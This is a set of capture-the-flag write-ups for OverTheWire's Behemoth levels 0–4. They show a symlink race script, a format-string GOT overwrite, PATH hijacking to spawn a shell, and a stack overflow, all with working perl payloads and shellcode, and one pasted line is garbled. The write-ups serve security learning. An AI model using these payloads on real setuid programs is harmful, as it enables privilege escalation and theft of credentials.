OverTheWire - Behemoth 4

Site: http://overthewire.org/wargames/behemoth/
Level: 4
Situation: Arbitrary Command Execution Vuln?

This although was simple still required a little bit of data collection.

We begin as usual lets create our tmp folder, find the arch type of the file, and run it to see what its default behavior is.

behemoth4@melinda:~$ mkdir /tmp/bh4
behemoth4@melinda:~$ cd /tmp/bh4
behemoth4@melinda:/tmp/bh4$
behemoth4@melinda:/tmp/bh4$ file /behemoth/behemoth4
/behemoth/behemoth4: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=18d1a5b6fa5fce1e82e9abde67ce0e88766ace32, not stripped
behemoth4@melinda:/tmp/bh4$ /behemoth/behemoth4
PID not found!

We can see we aren’t going to get the full program execution. Before we open it in gdb lets go ahead and dump the global offset table and ltrace the execution.

behemoth4@melinda:~$ objdump -R /behemoth/behemoth4

/behemoth/behemoth4:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   fclose
0804a010 R_386_JUMP_SLOT   sleep
0804a014 R_386_JUMP_SLOT   __stack_chk_fail
0804a018 R_386_JUMP_SLOT   getpid
0804a01c R_386_JUMP_SLOT   puts
0804a020 R_386_JUMP_SLOT   __gmon_start__
0804a024 R_386_JUMP_SLOT   __libc_start_main
0804a028 R_386_JUMP_SLOT   fopen
0804a02c R_386_JUMP_SLOT   putchar
0804a030 R_386_JUMP_SLOT   fgetc
0804a034 R_386_JUMP_SLOT   sprintf
behemoth4@melinda:~$ ltrace /behemoth/behemoth4
__libc_start_main(0x80485dd, 1, 0xffffd784, 0x80486b0 <unfinished ...>
getpid()                                           = 8197
sprintf("/tmp/8197", "/tmp/%d", 8197)              = 9
fopen("/tmp/8197", "r")                            = 0
puts("PID not found!"PID not found!
)                             = 15
+++ exited (status 0) +++

We can tell that a file is trying to be opened and when it is not the application exists out. We run it again to see if it’s the same file.

behemoth4@melinda:~$ ltrace /behemoth/behemoth4
__libc_start_main(0x80485dd, 1, 0xffffd784, 0x80486b0 <unfinished ...>
getpid()                                           = 9265
sprintf("/tmp/9265", "/tmp/%d", 9265)              = 9
fopen("/tmp/9265", "r")                            = 0
puts("PID not found!"PID not found!
)                             = 15
+++ exited (status 0) +++

Looking at this we can see it isn’t the same. We can also tell that the file it’s checking for is the process id of the application itself. We now open it in GDB to pause the application to add the file and see what happens. We will break on the fopen to get the file location.

behemoth4@melinda:/tmp/bh4$ gdb /behemoth/behemoth4

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:

-- SNIP --
   0x08048626 <+73>:	call   0x80484a0 <fopen@plt>
   0x0804862b <+78>:	mov    DWORD PTR [esp+0x20],eax
   0x0804862f <+82>:	cmp    DWORD PTR [esp+0x20],0x0
   0x08048634 <+87>:	jne    0x8048644 <main+103>
   0x08048636 <+89>:	mov    DWORD PTR [esp],0x804874a
   0x0804863d <+96>:	call   0x8048470 <puts@plt>
   0x08048642 <+101>:	jmp    0x804868d <main+176>
-- SNIP --

-- SNIP -- 
   0x08048671 <+148>:	call   0x80484c0 <fgetc@plt>
   0x08048676 <+153>:	mov    DWORD PTR [esp+0x24],eax
   0x0804867a <+157>:	cmp    DWORD PTR [esp+0x24],0xffffffff
   0x0804867f <+162>:	jne    0x804865e <main+129>
   0x08048681 <+164>:	mov    eax,DWORD PTR [esp+0x20]
   0x08048685 <+168>:	mov    DWORD PTR [esp],eax
   0x08048688 <+171>:	call   0x8048430 <fclose@plt>
-- SNIP --

End of assembler dump.
(gdb) break *0x08048626

From what we know fgetc is used to get characters from a file. So we will include some data for testing sake.

behemoth4@melinda:~$ echo "a" > /tmp/10857
(gdb) continue
Continuing.
a
Finished sleeping, fgetcing
[Inferior 1 (process 10857) exited normally]

Interestingly enough it seems to also show us the file contents. Now we know we can use a symlink to link to the password file and in theory will be able to utilize this to read the password file. However in order to do that we will create the file after the application is ran. To do this we will create a simple bash script utilizing the kill command to pause execution of the application long enough for the script to create the symlink.

#runit.sh
/behemoth/behemoth4&
PID=$!
kill -STOP $PID
ln -s /etc/behemoth_pass/behemoth5 /tmp/$PID
kill -CONT $PID
echo $PID

Now we give it execution permissions and run the application.

behemoth4@melinda:/tmp/bh4$ chmod +x runit.sh
behemoth4@melinda:/tmp/bh4$ ./runit.sh 
12421
behemoth4@melinda:/tmp/bh4$ Finished sleeping, fgetcing
[OMITTED]

There is our password.

OverTheWire - Behemoth 3

Site: http://overthewire.org/wargames/behemoth/
Level: 3
Situation: Format String Attack

WARNING: Lots of words!

We will be reutilizing the invoker.sh script, shellcalc.c, and the shellcode that reads /tmp/b2p. These tools can be found in the Behemoth 1 post.

First let’s create a folder to work from.

behemoth3@melinda:~$ mkdir /tmp/bh3 
behemoth3@melinda:~$ cd /tmp/bh3

Start as we do before let’s identify the arch of the executable and run it to see the output.

behemoth3@melinda:/tmp/bh3$ file /behemoth/behemoth3
/behemoth/behemoth3: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c5dbd3c173034d55cfef4bb66829b1bd1ec42d22, not stripped
behemoth3@melinda:/tmp/bh3$ ./invoker.sh /behemoth/behemoth3
Identify yourself: r4stl1n 
Welcome, r4stl1n

aaaand goodbye again.

We notice that it takes our user input and displays it back to us. This might be our attack vector but before we start poking at it randomly with buffer overflow attacks etc. We open the application in GDB to see if we can get some more information.

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804847d <+0>:	push   ebp
   0x0804847e <+1>:	mov    ebp,esp
   0x08048480 <+3>:	and    esp,0xfffffff0
   0x08048483 <+6>:	sub    esp,0xe0
   0x08048489 <+12>:	mov    DWORD PTR [esp],0x8048570
   0x08048490 <+19>:	call   0x8048330 <printf@plt>
   0x08048495 <+24>:	mov    eax,ds:0x80497a4
   0x0804849a <+29>:	mov    DWORD PTR [esp+0x8],eax
   0x0804849e <+33>:	mov    DWORD PTR [esp+0x4],0xc8
   0x080484a6 <+41>:	lea    eax,[esp+0x18]
   0x080484aa <+45>:	mov    DWORD PTR [esp],eax
   0x080484ad <+48>:	call   0x8048340 <fgets@plt>
   0x080484b2 <+53>:	mov    DWORD PTR [esp],0x8048584
   0x080484b9 <+60>:	call   0x8048330 <printf@plt>
   0x080484be <+65>:	lea    eax,[esp+0x18]
   0x080484c2 <+69>:	mov    DWORD PTR [esp],eax
   0x080484c5 <+72>:	call   0x8048330 <printf@plt>
   0x080484ca <+77>:	mov    DWORD PTR [esp],0x804858e
   0x080484d1 <+84>:	call   0x8048350 <puts@plt>
   0x080484d6 <+89>:	mov    eax,0x0
   0x080484db <+94>:	leave  
   0x080484dc <+95>:	ret    
End of assembler dump.
(gdb)

After looking at our disassembly we can see that printf is called quite a bit we know that printf is used to show information on the screen not only that but it allows for specific string formatting.

Knowing this is a challenge box and we haven’t seen a format string vulnerability we will make it out first attack vector to test.

To test this vulnerability we are going to feed in %x « when used in a string format it pops our stack pointer and displays the address. We can also utilize %p that will print the full pointer data. If it is vulnerable we will be able to see a pointer address.

(gdb) run
Starting program: /games/behemoth/behemoth3 
Identify yourself: %x %x %x %p %p %p
Welcome, c8 f7fcac20 0 (nil) 0xf7ffd000 0x25207825

aaaand goodbye again.
[Inferior 1 (process 6324) exited normally]

Looks like it is vulnerable to this form of attack. There are various methods we can use to exploit this type of vulnerability.

Short Write - Writing twice instead of four times utilizing the %h which cast types to short.

Stack Popping - Allows to get ahead of the stack pointer allowing for more movement in limited space.

Direct Parameter Access - Improved concept of stack popping allows for an individual to access areas of the stack directly and write to it.

For this example direct parameter access is what will be used. Bit of information is needed before we continue.

%p - prints current pointer
%x - print current pointer lowercase hex
%n - write arbitrary values to current pointer
%u - used to create padding of values to manipulate the pointer

So in order to exploit this we need to find the beginning of our information on the stack. To do this we are going to utilize our famous “AAAA” but in addition we are going to add a few “%p” to the list so we can get the addresses.

(gdb) run
Starting program: /games/behemoth/behemoth3 
Identify yourself: AAAA.%p.%p.%p.%p.%p.%p
Welcome, AAAA.0xc8.0xf7fcac20.(nil).(nil).0xf7ffd000.0x41414141

From this we know that we are the sixth element on the stack.

Let’s go ahead and test this theory. We are going to utilize the n parameter to write a value to an address we specify. In this example we are going to write the value of “5” to an Address of 0x41414141 (“AAAA”)

We will use the following string. “AAAA-%6$n”, To break it down AAAA is the address we are going to attempt to write to, %6 states that we want to write to the 6th address on the stack. Finally $n states that we want to write all the characters up to the %6. In this case the value is 5.

(gdb) run
Starting program: /games/behemoth/behemoth3 
Identify yourself: AAAA-%6$n

Program received signal SIGSEGV, Segmentation fault.
0xf7e687e3 in vfprintf () from /lib32/libc.so.6
(gdb) x/i $eip
=> 0xf7e687e3 <vfprintf+14051>:	mov    %ecx,(%eax)
(gdb) x/x $ecx
0x5:	Cannot access memory at address 0x5
(gdb) x/x $eax
0x41414141:	Cannot access memory at address 0x41414141

Let’s break this down - First we get a segfault that is expected as we are attempting to write to an invalid address

x/i $eip - We notice that in our instruction pointer is showing a “mov” and its moving what’s in our ECX buffer into EAX. Also in this case EAX is being used as EAX’s value is being used as a pointer.

x/x $ecx - By looking at the ECX buffer we can see that indeed the value of 5 is the value we are trying to put into EAX.

x/x $eax - Shows that indeed the value of EAX is 0x41414141

For the sake of keeping this short. If the address was valid it would allow us to overwrite any address with our own. We can use this to overwrite a function pointer later on in the application execution and make it point to our own shell code.

So now we need to find an address to overwrite. Many applications call external libraries for their functions and this one is no different. By looking at the global offset table we can identify what functions are being called from external libraries.

behemoth3@melinda:/tmp/bh3$ objdump -R /behemoth/behemoth3

/behemoth/behemoth3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049778 R_386_GLOB_DAT    __gmon_start__
080497a4 R_386_COPY        stdin
08049788 R_386_JUMP_SLOT   printf
0804978c R_386_JUMP_SLOT   fgets
08049790 R_386_JUMP_SLOT   puts
08049794 R_386_JUMP_SLOT   __gmon_start__
08049798 R_386_JUMP_SLOT   __libc_start_main

We are going to overwrite the puts command. With our own to show how this can work we will do the following.

Again we are going to be utilizing an input.txt file and Perl to create our test strings. We break up the end of the string due to our own Perl code interpreting the format string.

perl -e 'print "\x90\x97\x04\x08"."-%6"."\$n"' > input.txt

Then run our application with our input.

(gdb) run < input.txt
Starting program: /games/behemoth/behemoth3 < input.txt

Program received signal SIGSEGV, Segmentation fault.
0x00000005 in ?? ()

As predicated we overwrote the puts address with our own address that is 0x00000005. Now we are almost there we know that in order to point to our own shell code we must overwrite the upper and lower bounds of the address. Also we must inject and find our shell code so we have a correct address to jump to. To do this we will go ahead and write the upper bounds of the address to our string. The upper bound is 2 bytes more than the lower so our string now looks like the following.

perl -e 'print "\x90\x97\x04\x08"."\x92\x97\x04\x08"."-%6"."\$n"."-%7\$n"' > input.txt
(gdb) run < input.txt
Starting program: /games/behemoth/behemoth3 < input.txt

Program received signal SIGSEGV, Segmentation fault.
0x000a0009 in ?? ()

Now we are writing to both the 6th position in the stack and the 7th the upper and lower bounds of the new address.

We know we can write out a custom address now all we need to do is to create the full payload. We do this by doing a few things we are going to create a NOP sled of 64 bytes to give us some movement room. Then our payload. So format should look like this.

LowerRangeAddress<>UpperRangeAddress<>NOPSLED<>ShellCode<>FormatString

For the shell code we will be reusing our shellcode from the stack overflow.

\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80

We know this shell code cats a file called /tmp/b2p so let’s go ahead and create a symlink for the password file called /tmp/b2p

behemoth3@melinda:/tmp/bh3$ ln -s /etc/behemoth_pass/behemoth4 /tmp/b2p

All we need let is an address to jump to for this we will format our string to include the nopsled and the shelbehemoth3@melinda:/tmp/bh3$ ln -s /etc/behemoth_pass/behemoth4 /tmp/b2plcode. When ran in the debugger we can search for our NOP sled and pick a mid-range address to jump to. NOP is represented as “\x90”.

Our string now turns into the following

perl -e 'print "\x90\x97\x04\x08" . "\x92\x97\x04\x08" . "\x90"x64 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" . "-%6" . "\$n"."-%7\$n"' > input.txt

Now we just need to search for our nopsled. To do this we search the previous stack pointers.

(gdb) run < input.txt
Starting program: /games/behemoth/behemoth3 < input.txt

Program received signal SIGSEGV, Segmentation fault.
0x00720071 in ?? ()
(gdb) find $esp,$esp+500, 0x90909090
-- SNIP --
0xffffdd7f
0xffffdd80
0xffffdd81
0xffffdd82
0xffffdd83
0xffffdd84
0xffffdd85
0xffffdd86
0xffffdd87
-- SNIP --

We have a few address to work with we pick one at random 0xffffdd80

We have our address now all that is left is to overwrite the puts address with the address of one of our NOP’s and we will slide right into our shell code.

To do this we simply have to calculate what decimal integer is needed to get the values we want in hex. While taking into account the amount of characters we already have. We start with the lower bound of the address dd80. The decimal value for this is 56704. Now we subtract the amount of characters we already have in our string which is 114 giving us 56590. We add a buffer to the string by utilizing %u.

We update our string to look as follows.

perl -e 'print "\x90\x97\x04\x08" . "\x92\x97\x04\x08" . "\x90"x64 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" ."-%56590u" . "-%6" . "\$n"."-%7\$n"' > input.txt
(gdb) run < input.txt
-- SNIP --
EMPTY LINES CUT OUT
-- SNIP --
Program received signal SIGSEGV, Segmentation fault.
0xdd81dd80 in ?? ()

As we can see the address overwrite worked on the lower bound and now we just need to overwrite the upper bound with ffff. We subtract our desired bound from our lower bound in this case ffff - dd80. Then account for the - we added. Turning our string into the following.

perl -e 'print "\x90\x97\x04\x08" . "\x92\x97\x04\x08" . "\x90"x64 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" ."-%56590u" . "-%6" . "\$n" . "-%8"."830u" . "%7\$n"' > input.txt
(gdb) run < input.txt
-- SNIP --
EMPTY LINES CUT OUT
-- SNIP --
Process 22933 is executing new program: /bin/cat
/bin/cat: /tmp/b2p: Permission denied
[Inferior 1 (process 22933) exited with code 01]

Now we just run it in user space and we will have the password.

behemoth3@melinda:/tmp/bh3$ ./invoker.sh /behemoth/behemoth3 < input.txt
-- SNIP --
EMPTY LINES CUT OUT
-- SNIP --

[OMITTED]

There is our password.

OverTheWire - Behemoth 2

Site: http://overthewire.org/wargames/behemoth/
Level: 2
Situation: Environment Variable Fun

To start we are going to create a directory in /tmp/ to store our files.

behemoth2@melinda:~$ mkdir /tmp/bhe2

Let’s go ahead and find out what our file arch is, as well has run it to see what it does.

behemoth2@melinda:/tmp/bhe2$ file /behemoth/behemoth2
/behemoth/behemoth2: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=490eca1266dce1c6fa5afd37392837976dba68ef, not stripped

behemoth2@melinda:/tmp/bhe2$ /behemoth/behemoth2
asdfasdfasdf
asdf
^C
behemoth2@melinda:/tmp/bhe2$ ls
5254
behemoth2@melinda:/tmp/bhe2$ cat 5254 
behemoth2@melinda:/tmp/bhe2$

Seems to take input and write a file but doesn’t write anything to the file. Let’s inspect the application in GDB and see what is going on.

behemoth2@melinda:/tmp/bhe2$ gdb -q /behemoth/behemoth2
Reading symbols from /behemoth/behemoth2...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   -- SNIP --
   0x080485c7 <+90>:	call   0x80486c0 <lstat>
   0x080485cc <+95>:	and    eax,0xf000
   0x080485d1 <+100>:	cmp    eax,0x8000
   0x080485d6 <+105>:	je     0x80485f0 <main+131>
   0x080485d8 <+107>:	mov    eax,DWORD PTR [esp+0x20]
   0x080485dc <+111>:	mov    DWORD PTR [esp],eax
   0x080485df <+114>:	call   0x8048400 <unlink@plt>
   -- SNIP --

   -- SNIP --
   0x080485eb <+126>:	call   0x8048420 <system@plt>
   0x080485f0 <+131>:	mov    DWORD PTR [esp],0x7d0
   0x080485f7 <+138>:	call   0x80483e0 <sleep@plt>
   0x080485fc <+143>:	lea    eax,[esp+0x24]
   0x08048600 <+147>:	mov    DWORD PTR [eax],0x20746163
   0x08048606 <+153>:	mov    BYTE PTR [eax+0x4],0x0
   0x0804860a <+157>:	mov    BYTE PTR [esp+0x28],0x20
   0x0804860f <+162>:	lea    eax,[esp+0x24]
   0x08048613 <+166>:	mov    DWORD PTR [esp],eax
   0x08048616 <+169>:	call   0x8048420 <system@plt>
   -- SNIP --
End of assembler dump.

So by looking at this dump we notice a few calls being made. lstat”,”unlink”,”system”,”sleep”. We know sleep is just a wait function so we can ignore it. This leaves us with lstat, unlink and system.

lstat is a function used for checking the status of a file however if it is a syslink then it checks the linked file.

Unlink obviously does a few things. It deletes a file if it isn’t being used by any other applications. More interestingly if a file is a symlink it removes the link.

System executes a system call.

Knowing the following we setup a few breakpoints. One on each call, and we inspect the ESP and EAX pointer to see what information is being passed around.

(gdb) break *0x080485c7
Breakpoint 1 at 0x80485c7
(gdb) break *0x080485df
Breakpoint 2 at 0x80485df
(gdb) break *0x080485eb
Breakpoint 3 at 0x80485eb
(gdb) run
(gdb) x/s $eax
0xffffd64a:	"20518"
(gdb) x/s $esp
0xffffd620:	"J\326\377\377X\326\377\377&P"
(gdb) c
Continuing.
Breakpoint 2, 0x080485df in main ()
(gdb) x/s $eax
0xffffd64a:	"20518"
(gdb) x/s $esp
0xffffd620:	"J\326\377\377X\326\377\377&P"
(gdb) c
Continuing.
Breakpoint 3, 0x080485eb in main ()
(gdb) x/s $eax
0xffffd644:	"touch 20518"
(gdb) x/s $esp
0xffffd620:	"D\326\377\377X\326\377\377&P"
(gdb)

From this we can tell that the file being checked for linkage and unlinkage is 20518. However the more interesting thing is the system call being made “touch 20518”. By the looks of the code there is no code checking for the actual touch application.

Knowing how Linux environment shells work we know we could possible set “touch” to call our own script. When applications ran our environment variables are passed through and utilized during the “system” call.

To exploit this we just have to redirect the touch command to run a shellscript that spawns a shell. We do this by modifying the paths in our environment.

behemoth2@melinda:/tmp/bhe2$ echo '/bin/sh' > touch
behemoth2@melinda:/tmp/bhe2$ chmod +x touch
behemoth2@melinda:/tmp/bhe2$ PATH=/tmp/bhe2:$PATH /behemoth/behemoth2
$ whoami
behemoth3
$ cat /etc/behemoth_pass/behemoth3
[OMITTED]

There is the password

OverTheWire - Behemoth 1

Site: http://overthewire.org/wargames/behemoth/
Level: 1
Situation: Simple Buffer Overflow

Note: The stack is affected by varying things including the environment.

The memory addresses in GDB will differ from what you see without. Now to correct this we will use a small script called invoker.sh which will help standardize our environments.

#!/bin/sh

while getopts "dte:h?" opt ; do
  case "$opt" in
    h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
      exit 0
      ;;
    t)
      tty=1
      gdb=1
      ;;
    d)
      gdb=1
      ;;
    e)
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
    touch /tmp/gdb-debug-pty
    exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args 
$prog "$@"
  else
    exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi

Please note in GDB we still will have to unset the following two environmental variables inside GDB.

unset env LINES
unset env COLUMNS

We will also be utilizing a small c program to help us determine the size of our shellcode.

// Shellcalc.c

#include <stdio.h>

char shellcode[] ="shellcodehere";

int main(int argc, char *argv[])
{
       	fprintf(stdout,"Length: %d\n",strlen(shellcode));
}

For our sake let us make a folder in our temp directory and move our invoker.sh and small c program.

behemoth1@melinda:~$ ls
behemoth1@melinda:~$ mkdir /tmp/behe1
behemoth1@melinda:~$ cd /tmp/behe1
behemoth1@melinda:/tmp/behe1$

We will do the usual, identify the file type and build, also run it to see what it does.

behemoth1@melinda:/tmp/behe1$ file /behemoth/behemoth1
/behemoth/behemoth1: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6b301db8057be8df8ceead844e81f05764289f92, not stripped
behemoth1@melinda:/tmp/behe1$ ./invoker.sh /behemoth/behemoth1
Password: d
Authentication failure.
Sorry.

Open in GDB see if there are any interesting calls.

behemoth1@melinda:/tmp/behe1$ ./invoker.sh -d /behemoth/behemoth1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804845d <+0>:	push   ebp
   0x0804845e <+1>:	mov    ebp,esp
   0x08048460 <+3>:	and    esp,0xfffffff0
   0x08048463 <+6>:	sub    esp,0x60
   0x08048466 <+9>:	mov    DWORD PTR [esp],0x8048530
   0x0804846d <+16>:	call   0x8048310 <printf@plt>
   0x08048472 <+21>:	lea    eax,[esp+0x1d]
   0x08048476 <+25>:	mov    DWORD PTR [esp],eax
   0x08048479 <+28>:	call   0x8048320 <gets@plt>
   0x0804847e <+33>:	mov    DWORD PTR [esp],0x804853c
   0x08048485 <+40>:	call   0x8048330 <puts@plt>
   0x0804848a <+45>:	mov    eax,0x0
   0x0804848f <+50>:	leave  
   0x08048490 <+51>:	ret    
End of assembler dump.

No easy strcmp, the printf would be interesting if it was displaying input we supplied, could test for a string format vulnerability. There is a “gets” however. Gets grabs user input and stores it into a buffer array. Since its storing input we dictate. We can attempt to overflow the buffer that it stores the input into.

(gdb) run
Starting program: /games/behemoth/behemoth1 
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Alright so looks like we are successfully overflowing the buffer. If we notice we get two signs saying it did. First one is the segfault the second is the address that is segfaulted on 0x41414141. A in hex is 41, so 4 byte address = AAAA = 0x41414141.
Now we need to find out exactly how big of a buffer we need in order to cause a crash. We could guess and randomly insert values but instead we will utilize metasploit’s pattern_create.rb tool and the pattern_offset.rb.

vagabond :: /opt/metasploit-framework » ./tools/pattern_create.rb 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
(gdb) run
Starting program: /games/behemoth/behemoth1 
Password: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x63413663 in ?? ()
vagabond :: /opt/metasploit-framework » ./tools/pattern_offset.rb 0x63413663
[*] Exact match at offset 79

So what we want to do is setup our shellcode inside the 79 byte buffer. This is a lot to work with. At the end of the 79 buffer we can add the new return address in the 4 bytes that follow.

Now before we can create the payload we must first find the start of our stack. This can easily be achieved utilizing the debugger and either “A” or nopsleds. For this example we will use “BBBBAAAA” combination. Using GDB we can locate BBBB in the stack which equates to 0x42424242. We break on the final puts before it says sorry.

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804845d <+0>:	push   %ebp
   0x0804845e <+1>:	mov    %esp,%ebp
   0x08048460 <+3>:	and    $0xfffffff0,%esp
   0x08048463 <+6>:	sub    $0x60,%esp
   0x08048466 <+9>:	movl   $0x8048530,(%esp)
   0x0804846d <+16>:	call   0x8048310 <printf@plt>
   0x08048472 <+21>:	lea    0x1d(%esp),%eax
   0x08048476 <+25>:	mov    %eax,(%esp)
   0x08048479 <+28>:	call   0x8048320 <gets@plt>
   0x0804847e <+33>:	movl   $0x804853c,(%esp)
   0x08048485 <+40>:	call   0x8048330 <puts@plt>
   0x0804848a <+45>:	mov    $0x0,%eax
   0x0804848f <+50>:	leave  
   0x08048490 <+51>:	ret    
End of assembler dump.
(gdb) break *0x08048485
Breakpoint 1 at 0x8048485
(gdb) run
Starting program: /games/behemoth/behemoth1 
Password: BBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048632 in main ()
(gdb) find $esp, $esp+500, 0x42424242
0xffffdded
1 pattern found.
(gdb)

0xffffdded is the start of our address so we can begin to form our payload. Our payload is going to be structured as follows.

NOP<>SHELLCODE+NOP<>STACKADDRESS

Note: The shellcode used in this example is from another example that cats a file rather then spawns a shell. File is located in /tmp/b2p.

behemoth1@melinda:/tmp/behe1$ ln -s /etc/behemoth_pass/behemoth2 /tmp/b2p

Now we need the shellcode and to know the size of it so we utilize our shellcalc application.

\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80

The size of this is 40 bytes. So now we just need to pad the front and back to make our payload. To make it easy on us we will output this to a file called input.txt. That way the bash shell can’t affect the values.

Note: We put the address in backwards as we are on a little endian machine.

perl -e 'print "\x90"x4 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" . "\x90"x35 . "\xed\xdd\xff\xff"'> input.txt

Now that we have the proper input.txt we can verify that it works in GDB.

(gdb) run < input.txt
Starting program: /games/behemoth/behemoth1 < input.txt
Password: Authentication failure.
Sorry.
process 11828 is executing new program: /bin/cat
/bin/cat: /tmp/b2p: Permission denied
[Inferior 1 (process 11828) exited with code 01]
(gdb) quit

Perfect we see that /bin/cat was called on /tmp/b2p but we don’t have permission to read it. This is normal behavior under debuggers and is a countermeasure to help insure that people don’t just modify any application that has escalated privileges. To get it to work we have to do it in user space.

behemoth1@melinda:/tmp/behe1$ ./invoker.sh /behemoth/behemoth1 < input.txt
Password: Authentication failure.
Sorry.
[OMITTED]

Thats it we have found the password.

OverTheWire - Behemoth 0

Site: http://overthewire.org/wargames/behemoth/
Level: 0
Situation: Simple memory read.

behemoth0@melinda:~$ file /behemoth/behemoth0

/behemoth/behemoth0: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4c2e0281c9220ac21b55994f2a2408fe3c6693ac, not stripped

We know it is 32-bit application and Intel Arch. Let’s run it and get the output.

behemoth0@melinda:~$ /behemoth/behemoth0
Password: aaaa
Access denied..

Alright should be simple enough lets go ahead and open this up in GDB.

behemoth0@melinda:~$ gdb -q /behemoth/behemoth0
Reading symbols from /behemoth/behemoth0...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   -- SNIP --
   0x08048602 <+96>:	call   0x8048470 <__isoc99_scanf@plt>
   0x08048607 <+101>:	lea    eax,[esp+0x1f]
   0x0804860b <+105>:	mov    DWORD PTR [esp],eax
   0x0804860e <+108>:	call   0x8048440 <strlen@plt>
   0x08048613 <+113>:	mov    DWORD PTR [esp+0x4],eax
   0x08048617 <+117>:	lea    eax,[esp+0x1f]
   0x0804861b <+121>:	mov    DWORD PTR [esp],eax
   0x0804861e <+124>:	call   0x804857d <memfrob>
   0x08048623 <+129>:	lea    eax,[esp+0x1f]
   0x08048627 <+133>:	mov    DWORD PTR [esp+0x4],eax
   0x0804862b <+137>:	lea    eax,[esp+0x2b]
   0x0804862f <+141>:	mov    DWORD PTR [esp],eax
   0x08048632 <+144>:	call   0x80483f0 <strcmp@plt>
   0x08048637 <+149>:	test   eax,eax
   0x08048639 <+151>:	jne    0x8048665 <main+195>
   0x0804863b <+153>:	mov    DWORD PTR [esp],0x8048771
   0x08048642 <+160>:	call   0x8048420 <puts@plt>
   0x08048647 <+165>:	mov    DWORD PTR [esp+0x8],0x0
   0x0804864f <+173>:	mov    DWORD PTR [esp+0x4],0x8048782
   -- SNIP --

